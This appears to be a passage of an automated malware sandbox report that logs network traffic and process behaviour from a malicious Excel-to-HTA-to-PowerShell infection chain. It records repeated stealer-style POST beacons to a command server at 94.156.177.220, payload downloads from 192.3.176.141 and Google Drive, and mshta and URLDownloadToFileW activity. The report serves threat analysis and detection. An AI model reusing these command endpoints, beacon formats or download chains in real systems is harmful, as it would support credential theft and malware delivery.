Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.22:49175 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49176 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_000007FE899E4B18 URLDownloadToFileW,

5_2_000007FE899E4B18

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A3B4F527.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mpa.liConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mpa.liConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mpa.liConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mpa.liConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/bv/seethebestthingstobegoodwithhislifebestthigns.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/bv/seethebestthingstobegoodwithhislifebestthigns.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.176.141If-Range: "20a04-6252e4f9e216e"
Source: global traffic	HTTP traffic detected: GET /36/goodthingswithgreatcomebackwithgreatthigns.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/bv/seethebestthingstobegoodwithhislifebestthigns.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Thu, 24 Oct 2024 00:44:54 GMTConnection: Keep-AliveHost: 192.3.176.141If-None-Match: "20a04-6252e4f9e216e"
Source: global traffic	HTTP traffic detected: GET /36/LOGS%20LOKI.txt HTTP/1.1Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/LOGS%20LOKI.txt HTTP/1.1Host: 192.3.176.141Connection: Keep-Alive

Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: mpa.li
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: unknown

HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 176Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:09 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:10 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:11 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:12 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:14 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:15 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:16 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:18 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:19 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:20 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:21 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:22 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:24 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:25 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:26 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:27 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:27 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:29 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:33 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:36 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:37 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:40 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:45 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:48 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:49 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:51 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:52 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
